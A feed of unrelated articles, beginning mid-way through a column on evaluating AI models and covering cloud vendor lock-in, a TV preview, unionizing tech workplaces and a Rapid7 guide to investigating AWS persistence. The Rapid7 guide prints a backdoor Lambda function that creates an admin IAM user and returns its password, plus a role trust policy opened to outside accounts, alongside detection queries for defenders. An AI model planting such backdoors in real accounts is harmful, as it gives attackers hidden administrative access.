This is where evaluations become the center of enterprise AI strategy. ⁠As I’ve said before, most companies don’t have an AI quality problem so much as an AI measurement problem. Hence, a private evaluation suite built from real company work is the only leaderboard that matters. Does the new model materially improve quality? If so, use it! Does it reduce cost or latency? Again, that’s your free pass to adoption. Does the improvement justify the expense and effort of revalidation? If yes, continue.



Make model releases boring



As important as the model is, keep in mind that AI success always comes back to your company’s data, your company’s workflows, your company’s integrations, etc. That’s the ⁠dull reality behind sexy AI. Retrieval, memory, governance, data quality, observability, and feedback loops aren’t as exciting as a new model launch, but they’re what ultimately make AI truly work.



Again, when it’s time to consider something new, the principle should be to default to the least expensive model that reliably passes your evaluations. Only escalate harder tasks to more capable models when measurement shows that the premium pays. Tip: Make this invisible to employees so that the system routes to the best model for a particular prompt. As dbt Labs’ Jon Lewis expresses it, “The best model is ‘Auto’ and I won’t hear anyone say otherwise.” OpenAI’s own ⁠migration guidance recommends testing models on representative tasks, including trying a lower reasoning level rather than automatically cranking everything to the maximum.



As for me, I’ll probably keep clicking the shiniest option. I don’t have a formal evaluation suite for InfoWorld columns, and the marginal cost is a subscription I already pay. Enterprises don’t get that excuse.



A cloud deal too good to be true
Wed, 15 Jul 2026 17:19:33 +0200

		
					  
						




The model of the forward deployed engineer is sweeping through enterprise IT like a gold rush, and I’m concerned that many companies don’t understand what they’re signing up for.



Let’s start with the headline numbers. AWS announced a $1 billion investment in a new Forward Deployed Engineering organization. Google Cloud committed $750 million to expand similar programs. Microsoft has been running Azure-focused embedded engineering teams for years, including partnerships with Accenture to scale forward deployed engineering practices. All three are pitching the same story: We’ll send engineers to work directly with your teams, help you deploy AI, and accelerate your digital transformation. You get top-tier technical talent for free, and we get to partner with you on your journey.



It sounds reasonable on the surface. It sounds collaborative, even generous. But I’ve been in this industry long enough to know that when a multi-billion-dollar company offers you something for free, they’re sure to get much more than they give.



What you actually get



The forward deployed engineer model isn’t new. The consulting industry has been doing some version of it for decades. What makes this different is the scale and the direct financial incentive behind it. 



These engineers work for the cloud provider. They’re not your employees. They’re not independent consultants. They’re technically excellent professionals who are being paid to solve your immediate problems while simultaneously building relationships and architectures that favor their employer’s ecosystem. Think about it from their perspective. Those forward engineers are evaluated on whether customers succeed with their employer’s platform. They’re rewarded when enterprises adopt more services from that platform. Their career advancement depends on making AWS, Google Cloud, or Microsoft Azure the obvious choice for all of your technical decisions.



This isn’t a criticism of the individual engineers. Many of them are genuinely talented and genuinely want to help. But they’re operating within a system that rewards specific outcomes, and those outcomes align with the vendor’s financial interests, not necessarily yours.



The problem no one talks about



Here’s what I see happening at enterprises right now. A company decides they need help deploying AI. A cloud provider offers to embed engineers at no additional cost. Those engineers work alongside internal teams, make architectural recommendations, and help build out systems. Six months later, the company has a production AI system running on a single cloud platform, built by people with deep expertise in that specific platform.



The problem? Nobody evaluated whether that platform was actually the best choice for the business. Nobody looked at alternatives. Nobody asked whether a multicloud architecture or best-of-breed approach might deliver better results at lower cost.



The engineers embedded in these programs are not going to recommend that you split your workloads across providers. They’re not going to suggest you use open source tools where they make sense. They’re not going to point you toward a competitor when their employer’s solution will work well enough. That’s not how these programs are designed to function. What you’re getting is optimized architecture for a single cloud brand, not optimized architecture for your business.



The financial reality will hit



The bills are going to come due, and they’re going to be painful. I’ve watched this pattern play out before. When enterprises lock into a single cloud provider through these embedded engineering programs, they often discover two or three years later that they’re paying premiums that their more independent-thinking competitors avoided.



The reasons are straightforward. When you’re architecting systems around a single platform, you naturally fall into usage patterns that favor that platform’s pricing structures. You use their managed databases instead of portable alternatives. You adopt their AI services instead of evaluating third-party options. You build workflows that only work within their ecosystem. And when it comes time to renegotiate or benchmark against alternatives, you find that migrating would cost more than accepting whatever pricing they offer.



I’ve spent the past decade helping companies untangle from these situations. I’ve seen organizations with cloud bills 15 to 20 times higher than they should be, unable to migrate because their entire AI infrastructure is built on proprietary services that only work on one platform. The forward deployed engineer programs are accelerating this problem. They’re making it easier to get into these situations and harder to get out.



Think before you commit



Before you accept one of these programs, consider these three recommendations.



First, require independent architecture oversight from day one. Hire or engage architects who work for your company, not for your cloud provider. They should evaluate every recommendation made by embedded engineers against business requirements and compare options across providers. This isn’t about being suspicious of the engineers. It’s about ensuring that decisions are made with your interests in mind.



Second, demand a clear exit strategy before you begin. Ask the cloud provider to document which proprietary services you’re using, what migration paths exist, and what the cost would be to move to an alternative platform. If they can’t provide that information, or if the migration costs seem impossibly high, that’s a sign that you’re building technical debt that will be very expensive to service later.



Third, benchmark your costs continuously. Set up internal processes to compare your cloud spending against industry benchmarks and against what your competitors might be paying for similar workloads. Don’t wait until your contract renewal to discover that you’re paying premium prices. Monitor expenses from the beginning, and be willing to challenge your cloud provider if you’re not getting value that justifies the cost.



The bottom line



The forward deployed engineers are solving real problems. Enterprises genuinely struggle with AI deployment, and having experienced engineers available to help is valuable. I’m not suggesting these programs are fundamentally bad. However, they’re being marketed as neutral partnerships when they’re actually strategic sales programs designed to lock enterprises into specific platforms. The helpful engineers showing up at your office are building dependencies that will be very difficult to break. The “free” technical assistance is being funded by margins on services you’ll be buying for years.



Go in with your eyes open. Use these programs but add your own independent oversight. Build architectures that you could leave if you needed to. And don’t let the immediate satisfaction of having problems solved today blind you to the financial consequences that will arrive tomorrow.



ICE Runs the Nazi Warsaw Ghetto Epidemic Playbook in Colorado
Wed, 15 Jul 2026 16:55:00 +0200
German occupation authorities sealed Warsaw’s Jews behind walls citing epidemic risk. The confinement cynically manufactured the actual epidemic, and outside physicians were excluded so the only epidemiological authority sat with the Nazis causing a deadly crisis. The disease was both product of the system and its justification, and verification was structurally impossible because Nazi logic … Continue reading ICE Runs the Nazi Warsaw Ghetto Epidemic Playbook in Colorado →


Spotify expands parent-managed accounts to users on its free tier
Wed, 15 Jul 2026 16:48:32 +0200
The feature was previously only available to paid subscribers.


Industrializing Host-Based Routing for the Horizontal Telco Cloud
Wed, 15 Jul 2026 16:16:41 +0200
Guest blog post authored by: Guillaume Le Mener, VP of Product Marketing, 6WIND   A joint perspective from SUSE and 6WIND for Telcos, CaaS operators, and Project Sylva adopters   For Tier-1 operators building horizontal telco clouds that require strict multi-tenant isolation at scale, Host-Based Routing (HBR) has emerged as a primary networking model to […]
The post Industrializing Host-Based Routing for the Horizontal Telco Cloud appeared first on SUSE Communities.


Sugar Season 2 Episode 5 Preview: Can Sugar Find Ji Before It Is Too Late?
Wed, 15 Jul 2026 15:55:48 +0200
Sugar Season 2 Episode 5 will continue John Sugar’s dangerous search for Ji Moon as Lieutenant Ray Vega closes in on both men. After the risky plan seen in Episode 4, Sugar must find a way to protect Ji while exposing the corruption surrounding his disappearance.




Release date: July 17, 2026



Episode title: “Unknowns”



Streaming platform: Apple TV



Genre: Neo-noir, mystery, thriller and science fiction



Season length: Eight episodes



Expected duration: Around 40 to 50 minutes



Main cast: Colin Farrell, Jin Ha, Raymond Lee, Tony Dalton, Laura Donnelly, Sasha Calle and Shea Whigham



Release schedule: New episodes arrive every Friday




Apple TV began releasing Sugar Season 2 on June 19, with the finale scheduled for August 7. Episode 5, therefore, marks the beginning of the second half of the season.



Sugar Season 2 Episode 5 Preview



Spoilers ahead for Sugar Season 2 Episode 4.



Sugar’s search for Ji took a dangerous turn after he confronted Vega and made it clear that he knew about the police officer’s involvement in the case. Vega has connections inside the department, which makes it difficult for Sugar to trust the authorities or ask them for help.



Episode 4 also revealed why Ji became a target. Ji had witnessed Vega killing a gang member, leaving Vega desperate to silence him before the truth became public. Sugar eventually used a fake overdose to fool Vega’s men before reviving Ji with Narcan. The plan saved Ji temporarily, but it also showed how far Sugar must go to keep him alive.



Episode 5 will likely follow Sugar as he tries to move Ji to a safer location. Vega now knows that Sugar has become a serious threat, so he could use his police resources to track them down. Sugar must stay ahead of him while convincing Ji to reveal everything he saw.



Can Sugar Keep Ji Safe From Vega?



Ji remains the most important witness in the investigation. His testimony could connect Vega to the murder and expose a larger network of corruption within the Los Angeles Police Department.



However, keeping Ji alive will become increasingly difficult. Vega has already shown that he can manipulate witnesses, use other officers and arrange traps without drawing attention to himself. His meeting with Hannah also proved that anyone connected to Ji can become a target.



Sugar may need help from Val or another unexpected ally to move Ji before Vega finds their location. Charlotte could also become more involved after investigating Sugar’s private life, although her true intentions remain uncertain.



Vega Could Turn the Investigation Against Sugar



Vega may try to portray Sugar as a criminal who kidnapped Ji or interfered with an official investigation. Since Sugar directly challenged him during their interrogation, Vega now has a personal reason to destroy his reputation.



Tony Dalton’s Vega has developed into Sugar’s main opponent, combining police authority with calculated violence. Their conflict should become even more intense in Episode 5 as Sugar searches for evidence that can support Ji’s account.



At the same time, Sugar continues searching for his missing sister, Djen. The Ji Moon case could eventually connect with that larger mystery, especially as the season explores a conspiracy stretching across Los Angeles and possibly beyond Earth.



Sugar Season 2 Episode 5 arrives on Apple TV on July 17. Do you think Sugar can keep Ji safe and expose Vega, or will the corrupt officer reach them first? Let us know in the comments.


Investigating Persistence Mechanisms in AWS
Wed, 15 Jul 2026 15:23:28 +0200
Overview
In the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds that survive long after you believe an incident is closed.
Persistence in AWS is not just a technical oversight; it is a fundamental business risk. If you cannot see how an attacker has rooted themselves in your environment, you cannot contain them. This article moves beyond theory to provide the critical detection logic, investigation workflows, and actionable response steps required to hunt down hidden persistence and reclaim your AWS environment. This reference enables Rapid7 InsightIDR customers to investigate and understand AWS alert behaviors.
Persistence technique: IAM user
One of the most common persistence techniques is maintaining access by creating or modifying Identity and Access Management (IAM) users. An attacker can issue the iam:CreateUser API call to create a new IAM user. In addition to establishing persistence, threat actors may use this API call to create a separate user for each collaborator, allowing them to divide work and perform activities independently.
During incident investigations, we have observed that malicious iam:CreateUser actions are usually simple and often include only the userName of the newly created user. Example request and response parameters for this API call are shown in Listing 1, where an attacker creates a new IAM user named malicious-user.
   "requestParameters": {
      "userName": "malicious-user"
    },
    "responseElements": {
      "user": {
        "path": "/",
        "userName": "malicious-user",
        "userId": "AIDAS7R4L4RPRYBWCIXXX",
        "arn": "arn:aws:iam::123456789012:user/malicious-user",
        "createDate": "Mar 9, 2026, 9:16:35 AM"
      }
    },
Listing 1: Example request and response parameters of the iam:CreateUser API call
Creating an IAM user does not, by itself, provide threat actors with a particularly effective persistence mechanism, because the newly created user has no credentials for authentication and no identity-based policies assigned. Therefore, several follow-up actions usually occur. These actions typically focus on adding credentials and assigning permissions to the newly created user. Specific examples include:
Credential addition:
iam:CreateAccessKey — Creates a long-term credential for the target IAM user. This may also be used for lateral movement when the source user differs from the target user.
iam:CreateConsoleProfile — Creates credentials that allow the user to authenticate through the AWS Console interface. Like the previous API call, this may also be used for lateral movement when performed on a different IAM user.
Permission addition:
iam:AttachUserPolicy — Attaches the specified managed policy to the user.
iam:PutUserPolicy — Adds or updates an inline policy document embedded in the specified IAM user.
iam:AddUserToGroup — Adds the user to the specified group.
All of these API calls use standardized request parameters, which makes it possible to investigate actions performed on the newly created user with the following LEQL query:
where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user")
Listing 2: LEQL query for investigating actions performed on an IAM user
Excluding the source user who originally created the malicious IAM user can help reveal other compromised accounts involved in the activity.
To get an overview of the most important actions performed on the malicious entity, the following query can be used:
where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user" and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"] and source_json.errorCode != /.+/)groupby(source_json.userIdentity.arn, source_json.eventName)
Listing 3: LEQL query to get an overview of the most important actions performed on the user
The query in Listing 3 displays a table of successful actions performed by user identities targeting the compromised user. It filters out common read operations that may occur regularly in the environment and also excludes unsuccessful actions.
InsightIDR parses the source user into a separate field, which makes it easy to examine all actions performed by IAM users. To get a list of actions performed by the newly created IAM user, the following LEQL query can be used:
where(service="cloudtrail" and source_account = "malicious-user")groupby(source_json.eventName)
Listing 4: LEQL query for actions performed by the user
Recommended steps for newly created IAM users
When investigating and remediating persistence involving newly created IAM users, Rapid7 recommends the following steps:
Review the actions performed by both the newly created IAM user and the user that initiated its creation to understand the scope and intent of the activity.
Examine authentication activity for unusual locations or patterns, and identify any additional resources that may have been accessed by the same threat actor.
Where possible, apply a deny-all IAM policy to all compromised entities to immediately prevent further malicious actions.
Rotate credentials for all compromised accounts to prevent further unauthorized access.
Remove any unknown or unauthorized IAM users to fully remediate persistence.
Persistence technique: Modifying assume role policies
An IAM role is an entity that has specific permissions that can be assumed to whoever needs it and has necessary permissions to do so. Roles are intended to provide access to resources to users, applications, and services that normally don’t have access to the required AWS resources. Unlike IAM users, roles do not have long-term access keys so they provide only short-term credentials when they are assumed.
During an attack, threat actors can establish persistence by modifying a role's assume role policy. By altering this policy, they can allow users from an attacker-controlled AWS account to assume the role within the victim’s account.This form of persistence can be achieved by creating a fresh new role using iam:CreateRole with already backdoored assume role policy, or via editing an assume role policy that already exists using iam:UpdateAssumeRolePolicy API call. Listing 5 shows an example of an assumed role policy document that allows access from external AWS accounts.
{
    "Version": "2012-10-17",
    "Id": "...",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:root"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Sid": "Statement2",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::222222222222:root"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

Listing 5: Assume role policy allows external access
The document contains two external account IDs, 111111111111 and 222222222222, and allows anyone with necessary permissions in the attacker's account to assume the role.
In addition to investigating the user who performed the action to confirm its compromise, there are additional queries that could reveal other potentially malicious activity. The LEQL query in Listing 6 shows all actions performed on the malicious-role that has a suspicious assume role policy statement. The query also filters our common noise in AWS environments.
where(service = "cloudtrail" and source_json.requestParameters.roleName = "malicious-role" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "access-analyzer.amazonaws.com"])
Listing 6: LEQL query to show actions performed on the suspicious role
When this persistence technique is observed, it’s recommended to search for activity originating from malicious accounts. When iam:AssumeRole action is observed, the returned temporary key can be extracted and its associated activity can be further examined.
where(service = "cloudtrail" and source_json.userIdentity.accountId IN ["111111111111", "222222222222"])
Listing 7: LEQL query showing actions from the suspicious AWS accounts
Also, it’s recommended to search for other potentially backdoored policies that may have been created within the environment. The LEQL query in Listing 8 shows a table of principal IDs that wrote the previously identified malicious AWS accounts into specific roles.
where(service = "cloudtrail"  and source_json.eventName IIN ["CreateRole", "UpdateAssumeRolePolicy"] and source_json.eventSource = NOCASE("iam.amazonaws.com") and source_json.requestParameters.assumeRolePolicy, source_json.requestParameters.policyDocument ICONTAINS-ANY ["111111111111", "222222222222"])groupby(source_json.userIdentity.principalId, source_json.requestParameters.roleName)
Listing 8: LEQL query showing roles with assume role referring to the suspicious AWS accounts
Persistence technique: Lambda abuse
AWS Lambda is a serverless compute service that allows users to execute code without managing servers. Lambda functions contain code that can be triggered by various AWS services, such as API Gateway, CodeCommit, Config, and others.
Threat actors may abuse Lambda functions to upload malicious code that maintains access to the environment when invoked. The code inside a Lambda function can perform any operation, as long as the function has the necessary permissions assigned to it. However, a common malicious use case is provisioning new privileged IAM users.
import string
import boto3
import uuid
import json
import random

def lambda_handler(event, context):
    iam = boto3.client('iam')

    user_name = f"user-{uuid.uuid4().hex[:8]}"
    password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=10))

    try:
        response = iam.create_user(UserName=user_name)
        print(f"User {user_name} created successfully")

        iam.create_login_profile(
            UserName=user_name,
            Password=password,
            PasswordResetRequired=False
        )

        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )

        account_id = context.invoked_function_arn.split(":")[4]
        iam_login_url = f"https://{account_id}.signin.aws.amazon.com/console"

        return {
            'statusCode': 200,
            'body': json.dumps({
                'message': f'User {user_name} created successfully',
                'login_url': iam_login_url,
                'username': user_name,
                'password': password
            })
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps({'error': error_message})
        }
Listing 9: Backdoor Python Lambda code
The code in Listing 5 creates a new IAM user with a login profile and attaches the AdministratorAccess policy to it. The login credentials are returned to the attacker in the response from the Lambda function. To execute, the Lambda function must be triggered. Threat actors may create various triggers depending on how the malicious code operates. In scenarios like the example above, the Lambda function is usually assigned a public URL that a threat actor can call to invoke it.
One way the function can be invoked via a public URL is by using the lambda:CreateFunctionUrlConfig and lambda:AddPermission sequence. The lambda:CreateFunctionUrlConfig API call takes the function name as an argument and returns the function URL. This URL can then be used by threat actors to invoke the function. The second API call, lambda:AddPermission, assigns permission that allows the function to be invoked from the URL.
    
"requestParameters": {
      "functionName": "backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    },
    "responseElements": {
      "functionUrl": "https://uniqueaddress.lambda-url.us-east-1.on.aws/",
      "functionArn": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    }
Listing 10: Example request and response elements of the lambda:CreateFunctionUrlConfig function

Another way to trigger a Lambda function via a URL is to create an API Gateway endpoint and use apigateway:CreateIntegration or apigateway:PutIntegration to set the destination to a Lambda function. The action logged in Listing 7 creates an integration to trigger version 1 of a Lambda function named backdoor_lambda_function. When investigating, it is important to check the content of the version of the Lambda function being triggered, as there may be legitimate-looking code in later versions used to hide malicious code.
  "eventSource": "apigateway.amazonaws.com",
    "eventName": "CreateIntegration",
    "awsRegion": "us-east-1",
    "requestParameters": {
      "integrationMethod": "GET",
      "integrationType": "AWS_PROXY",
      "payloadFormatVersion": "2.0",
      "integrationUri": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_lambda_function:1",
      "apiId": "xxxxxxx"
    },
Listing 11: Part of apigateway:CreateIntegration CloudTrail log
There are various other ways the backdoor function may be implemented. For example, threat actors may use events:PutRule to set up event-driven execution and then use events:PutTargets to assign the Lambda function as a target. The function may then establish a backdoor and send credentials to attacker-controlled C2 servers.
Suspicious Lambda function activity: Next steps
This section contains recommended actions and investigation steps to take whenever InsightIDR highlights activity originating from a Lambda function as suspicious. During investigations, focus on answering the following questions:
Is the Lambda function known and authorized?
What code invoked the suspicious activity?
Who created the Lambda function?
How was the Lambda function triggered?
What actions were performed by the function?
The LEQL query shown in Listing 12 provides an example that displays successful actions performed by a Lambda function named malicious-function, grouped by event source.
where(service = "cloudtrail" and source_json.userIdentity.arn ICONTAINS "/malicious-function" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)
Listing 12: LEQL query showing an overview of actions performed by the Lambda function
Malicious activity performed by Lambda functions can originate from malicious code within the function or from the exploitation of a legitimate application. If malicious code is identified, the user who inserted it is likely to be compromised as well. The query in Listing 9 displays principal IDs and their associated API calls affecting the Lambda function, including the techniques described in this section and function invocation events (lambda:Invoke API call).
where(service = "cloudtrail" and source_json.requestParameters.functionName,source_json.requestParameters.putIntegrationInput.uri, source_json.requestParameters.integrationUri, source_json.requestParameters.targets.arn ICONTAINS "malicious-function" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "config.amazonaws.com"])groupby(source_json.userIdentity.principalId, source_json.eventSource, source_json.eventName)
Listing 13: LEQL query showing actions performed on the Lambda function
Persistence technique: Federated user session creation
Threat actors may use the Security Token Service (STS) API call to create a federated user session and maintain access to an AWS environment even after some standard containment actions have been completed. GetFederationToken returns a set of temporary security credentials for a federated user principal. The API call must be made using long-term IAM user credentials, which means activity from a federated user should always be investigated together with the IAM user that created the session.
This technique is especially important during incident response because disabling or deleting the original access key does not automatically invalidate temporary credentials that have already been issued. Those credentials remain usable until they expire, unless their effective permissions are blocked. As a result, responders should treat the federated session as a separate active identity and investigate both the session activity and the source IAM user activity.
The effective permissions of a federated user are based on the permissions available to the IAM user that requested the token and any session policies passed in the GetFederationToken request. A session policy cannot grant permissions that the source IAM user does not already have. However, if the compromised IAM user is highly privileged, the resulting federated session may still provide broad access to the environment.
When InsightIDR alerts on suspicious activity performed by a federated user, the userIdentity field in CloudTrail may look similar to the example below:
"userIdentity": {
  "type": "FederatedUser",
  "principalId": "123456789012:None",
  "arn": "arn:aws:sts::123456789012:federated-user/None",
  "accountId": "123456789012",
  "accessKeyId": "ASIAS8T6L4RPJJGXXXX",
  "sessionContext": {
    "sessionIssuer": {
      "type": "IAMUser",
      "principalId": "AIDAIT67N6AB4IH6XXXXX",
      "arn": "arn:aws:iam::123456789012:user/compromisedUser",
      "accountId": "123456789012",
      "userName": "compromised_user"
    },
    "attributes": {
      "creationDate": "2026-04-11T09:13:11Z",
      "mfaAuthenticated": "false"
    }
  }
},
Listing 13: userIdentity field of an event performed by a federated user
In this example, the federated user name is None, which comes from the name parameter supplied to STS. The sessionContext.sessionIssuer field identifies the IAM user that created the federated session. This is the most important pivot point during the investigation because the source IAM user is likely to be compromised.
To review successful actions performed by the federated user, defenders can use the following LEQL query:
where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)
Listing 15: LEQL query showing all successful actions performed by the federated user
To focus on higher-signal activity, defenders can exclude common enumeration actions:
where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/ and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"])groupby(source_json.eventSource, source_json.eventName)
Listing 16: LEQL query showing successful non-enumeration actions performed by the federated user
When reviewing actions performed by federated users, pay close attention to activity involving IAM, CloudTrail, GuardDuty, Organizations, KMS, Secrets Manager, S3, Lambda, and EC2. IAM activity is particularly important. Federated user credentials cannot call IAM APIs via AWS CLI and AWS API, but this limitation does not apply to AWS Management Console sessions. Therefore, successful IAM activity associated with a federated user may indicate that the threat actor generated console access by using the signin:GetSigninToken and signin:ConsoleLogin API sequence.
Defenders can review sts:GetFederationToken calls to review federated tokens creations performed by the source user. The API calls may be further scoped down by adding source_json.responseElements.credentials.accessKeyId = “malicious_access_key”, which will display the exact API call that was used to obtain the temporary token. This may be useful when determining Initial Access Vector, as the API call may contain the initially leaked long-term credentials.
where(service = "cloudtrail" and action = "GetFederationToken" and source_json.eventSource = "sts.amazonaws.com" and source_json.requestParameters.name = "None" and source_json.userIdentity.userName = "compromised_user")
Listing 17: LEQL query showing the GetFederationToken event that created the federated user credentials
During the investigation, responders should focus on answering the following questions:
Which IAM user created the federated session?
What actions did the federated user perform after the token was issued?
Did the actor use the federated session to access the AWS Management Console?
Did the federated user create or modify additional persistence mechanisms?
What other suspicious activities were performed?
When compromise is confirmed, Rapid7 recommends the following steps:
Apply a deny-all policy to the IAM user that created the federated session. Keep the deny in place until the federated credentials have expired.
Rotate or delete all affected access keys associated with the compromised IAM user.
Remove any additional persistence that might have been created.
Summary
AWS persistence often relies on abusing legitimate identity and automation features such as IAM users, access keys, assume role policies, Lambda functions, and federated user sessions. Many malicious activities are made possible by overly permissive policies, so organizations should regularly review IAM permissions, trust policies, and resource-based policies, and use Service Control Policies to enforce preventative guardrails across AWS accounts.
Effective detection and response requires pivoting from the alerted activity to related identities, credentials, sessions, policies, and resources to determine whether additional persistence exists. Rapid7 MDR provides comprehensive detection and incident response services to help organizations identify suspicious AWS activity, contain compromised identities, and harden cloud environments against repeat abuse.


Justice Gorsuch’s Slaughter Opinion is a Direct Threat to Congress
Wed, 15 Jul 2026 15:09:26 +0200
In light of recent Supreme Court rulings, Congress should act now to assert the full extent of its authority over the federal bureaucracy.
The post Justice Gorsuch’s Slaughter Opinion is a Direct Threat to Congress appeared first on Just Security.


Spotify parents rejoice! KPop Demon Hunters need never cloud your Wrapped results again, thanks to Managed accounts launching on Spotify Free
Wed, 15 Jul 2026 15:03:04 +0200
Spotify just brought its Managed accounts service to its free tier, meaning your kids’ top track need never bag the top spot again


How to unionize your tech workplace
Wed, 15 Jul 2026 13:18:09 +0200

		
					  
						




This is Part 2 of a series on tech worker unionization. See Part 1: “A brewing battle: More IT workers want unions. The industry doesn’t.”



The best time for tech workers to unionize was 20 years ago, when they had plenty of leverage. The second-best time is now, when they don’t.



Mass layoffs, AI-driven displacement, corporate surveillance, workplace disillusionment have created conditions that have made organizing compelling for tech professionals. But the federal labor board that has historically protected workers’ right to organize has been weakened, and the companies that once feared it are openly defying it.



Here’s how organizers and labor experts describe the pros and cons to organizing — and how you can get started.



What unions can — and can’t — do for you



The single biggest benefit of a union contract for most tech workers isn’t pay — it’s protection against arbitrary termination, especially in the wake of recent mass layoffs in tech. In the United States, nonunion “at-will” workers can be fired at any time without a stated reason, while unionized workers negotiate protections written into their contracts.



“That fear of the company letting you go for anything at any time…with a union they just can’t do that,” says Zak Thompson, a senior software engineer at Kickstarter and union steward at Kickstarter United. Now that Kickstarter employees are unionized, people are less worried that saying something negative will result in termination.



“I’ve been shocked at the willingness of my co-workers to speak up against what they see as poor or controversial business decisions,” Thompson says.


 width="972" height="972" sizes="auto, (max-width: 972px) 100vw, 972px">Zak Thompson from Kickstarter United

Fee Christoph



Beyond job security, unions can deliver concrete material gains. Kickstarter United was formed in 2020, although getting there wasn’t easy: two employees were fired during the organizing campaign — which itself became a galvanizing event. And while the union hasn’t been able to prevent layoffs, it did negotiate better terms: four months of severance pay and four to six months of continued health insurance, versus the two to three weeks per year of work that management had initially proposed.



Other benefits include a four-day work week; AI protections; a minimum pay floor; and standards for raises, promotions, and time off for the company’s 59 employees.



Unions can give tech workers a voice in decisions that affect their daily work — including how AI tools are deployed. “Nobody I’ve spoken to is against new technology or getting trained in it,” says Max Belasco, a business systems analyst at the University of California Los Angeles School of Law and co-chair of the UCLA chapter of the University Professional and Technical Employees/Communications Workers of America (UPTE-CWA) Local 9119.



“But when new technology is being implemented, we want to know: what’s the five-year vision, the 10-year vision? Are we implementing this in a way that betters staffing, increases efficiency, or eases the lives of people already working? Or are we trying to take away jobs, automate people out of their pension or paycheck?” Belasco says.



The challenges are real. Tech professionals are less inclined to leave their jobs in the current market because wages haven’t been increasing as fast as they once were, and it can take longer to land another job.



“Tech moved from a very tight labor market in 2022 (1.85% unemployment rate) to a noticeably weaker one in 2024–2026 (3.49%),” although that’s still better than the national unemployment rate of 4.36% through May of this year, says Liya Palagashvili, senior research fellow and director of the Labor Policy Project at the Mercatus Center at George Mason University.


 width="960" height="640" sizes="auto, (max-width: 960px) 100vw, 960px">Liya Palagashvili of the Mercatus Center at George Mason University
Mercatus Center at George Mason University



Flexibility is a concern. The more substantive challenge, raised by economists including Palagashvili, is that traditional union contracts impose uniform terms across an entire bargaining unit, limiting the flexibility that many tech workers — and their employers —currently enjoy. Tech firms need to move fast, adjusting teams, products, and roles on the fly.



“Collective bargaining agreements can make those adjustments much more difficult, whether by making them slower, costlier, or inconsistent with the contract,” she says.



Workers skeptical of unions in a survey of 1,900 tech professionals conducted by the career site Blind cited specific concerns: that unions are “not meritocratic,” “prevent innovation,” and “hold back earnings of top performers.”



Thompson from Kickstarter United pushes back: “We have nothing in our contract about ‘you can’t bend down and pick up a piece of trash because that’s someone else’s job.’ The company is free to give bonuses and individual raises as much as they like. This is all just up to the people who are bargaining the contract from the union side.”



Organizing carries potentially serious personal risks. During negotiations for a second three-year contract in 2025, Kickstarter United went on strike for 42 days. A few months later, the company announced layoffs.



“They let go strong union leaders, including a person who had bargained our last contract,” Thompson says. The union appealed, and the issue is now going to arbitration.



If you form a union, don’t expect much support from the National Labor Relations Board, the agency that certifies US labor unions and protects workers’ right to organize, in terms of prosecuting complaints of unfair labor practices, Thompson warns. “We’re in a political moment in this country with a pretty weakened NLRB. You have to be ready to organize and withhold worker power without any guarantee of safety.”



Organizers are up against an enormous union avoidance industry. Organizers can expect fierce pushback as soon as the business discovers that organizing is underway.



“There’s a multi-billion-dollar industry in union avoidance,” says Alan McAvinney, a Google software engineer and organizing chair, Alphabet Workers Union-CWA, a 1,400-member minority union of Alphabet employees. (Google is a subsidiary of Alphabet.)



US employers spend roughly $1.7 billion a year on union avoidance consultants and law firms, according to a May 2026 report by the Economic Policy Institute and LaborLab.



Expect hardball tactics. Management may play hardball during the time between when organizers announce their intention to unionize and the actual vote. For example, management can threaten to fire foreign-born workers in the US on H-1B visas if they support the union. Those workers would then have just 60 days to find a new sponsoring employer or lose their H-1B status, according to a recent Tech Workers Coalition blog post.



And at venture capital-backed startups, investment agreements sometimes require management to attest there is no union activity — meaning a public organizing drive can trigger funding withdrawal. Or, if a unionized company is acquired, the new management can dissolve the union overnight by reclassifying unionized workers as new hires.



With these sobering facts in mind, here is how organizers who have done it describe the process of creating a union.



Step 1: Start a conversation with your co-workers



At the University of California, a two-tier system had evolved where some tech workers were unionized and some weren’t, Belasco says. Management created new titles that fell outside the union even though they had similar job descriptions and responsibilities to those in the union. Those nonunion employees received lower pay and benefits than their unionized peers, which created resentment and instability.


 width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px">Max Belasco from the UCLA chapter of UPTE-CWA
Zac Goldstein



Belasco and other organizers wanted to eliminate that division by bringing everyone under the same contract. But when they began their unionization drive, “the biggest barrier we faced wasn’t management opposition — it was that people felt this was just the best-case scenario realistically available: ‘We have this job at the university, we have concerns about automation and layoffs, but what can we really do about it?'” he says.



The antidote to that fatalism, organizers say, is simple: “Just start talking to your immediate co-workers. Are they experiencing the same challenges you are experiencing?” says McAvinney. “There’s no need to start talking about a union at this point.”



